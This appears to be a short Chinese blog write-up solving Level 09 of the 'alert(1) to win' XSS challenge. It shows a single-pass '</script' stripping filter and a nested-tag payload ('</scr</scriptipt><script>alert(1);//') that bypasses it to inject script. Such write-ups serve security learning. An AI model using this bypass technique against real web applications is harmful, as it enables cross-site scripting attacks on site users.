加载中...

【alert(1) to win】 Level 09 - JSON 2



题目

function escape(s) {
  s = JSON.stringify(s).replace(/<\/script/gi, '');

  return '<script>console.log(' + s + ');</script>';
}

解题报告

Level 03 - JSON 的进阶版。

回顾下第 3 题的 payload 是 :

</script><script>alert(1);//

而这题对输入的字符串会做 一次 全局替换,把 </script 删掉,使得我们无法闭合标签。

但是因为替换只做一次,所以要绕过也不难,只需要把 </script 做一次嵌套即可,例如 </scr</scriptipt>,被全局替换后,留下的就是我们需要的闭合标签 </script>

因此这题可构造这样的 payload :

</scr</scriptipt><script>alert(1);//

答案下载


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
  目录